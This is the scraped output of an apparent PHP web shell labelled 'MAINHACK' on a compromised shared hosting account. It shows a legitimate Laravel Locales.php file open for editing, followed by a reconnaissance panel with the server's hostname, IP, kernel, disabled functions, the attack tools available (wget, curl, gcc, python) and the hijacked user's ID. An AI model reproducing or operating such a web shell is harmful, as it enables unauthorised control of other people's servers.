[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Locales.php
<?php namespace Astrotomic\Translatable; use ArrayAccess; use Astrotomic\Translatable\Exception\LocalesNotDefinedException; use Illuminate\Contracts\Config\Repository as ConfigContract; use Illuminate\Contracts\Support\Arrayable; use Illuminate\Contracts\Translation\Translator as TranslatorContract; /** * @implements Arrayable<string, string> * @implements ArrayAccess<string, string> */ class Locales implements Arrayable, ArrayAccess { /** * @var ConfigContract */ protected $config; /** * @var array<string,string> */ protected $locales = []; /** * @var TranslatorContract */ protected $translator; public function __construct(ConfigContract $config, TranslatorContract $translator) { $this->config = $config; $this->translator = $translator; $this->load(); } public function add(string $locale): void { $this->locales[$locale] = $locale; } /** * @return array<string> */ public function all(): array { return array_values($this->locales); } public function current(): string { return $this->config->get('translatable.locale') ?: $this->translator->getLocale(); } public function forget(string $locale): void { unset($this->locales[$locale]); } public function get(string $locale): ?string { return $this->locales[$locale] ?? null; } public function getCountryLocale(string $locale, string $country): string { return $locale.$this->getLocaleSeparator().$country; } public function getLanguageFromCountryBasedLocale(string $locale): string { return explode($this->getLocaleSeparator(), $locale)[0]; } public function getLocaleSeparator(): string { return $this->config->get('translatable.locale_separator') ?: '-'; } public function has(string $locale): bool { return isset($this->locales[$locale]); } public function isLocaleCountryBased(string $locale): bool { return strpos($locale, $this->getLocaleSeparator()) !== false; } public function load(): void { $localesConfig = (array) $this->config->get('translatable.locales', []); if (empty($localesConfig)) { throw LocalesNotDefinedException::make(); } $this->locales = []; foreach ($localesConfig as $key => $locale) { if (is_string($key) && is_array($locale)) { $this->locales[$key] = $key; foreach ($locale as $country) { $countryLocale = $this->getCountryLocale($key, $country); $this->locales[$countryLocale] = $countryLocale; } } elseif (is_string($locale)) { $this->locales[$locale] = $locale; } } } public function offsetExists($key): bool { return $this->has($key); } public function offsetGet($key): ?string { return $this->get($key); } public function offsetSet($key, $value): void { if (is_string($key) && is_string($value)) { $this->add($this->getCountryLocale($key, $value)); } elseif (is_string($value)) { $this->add($value); } } public function offsetUnset($key): void { $this->forget($key); } public function toArray(): array { return $this->all(); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285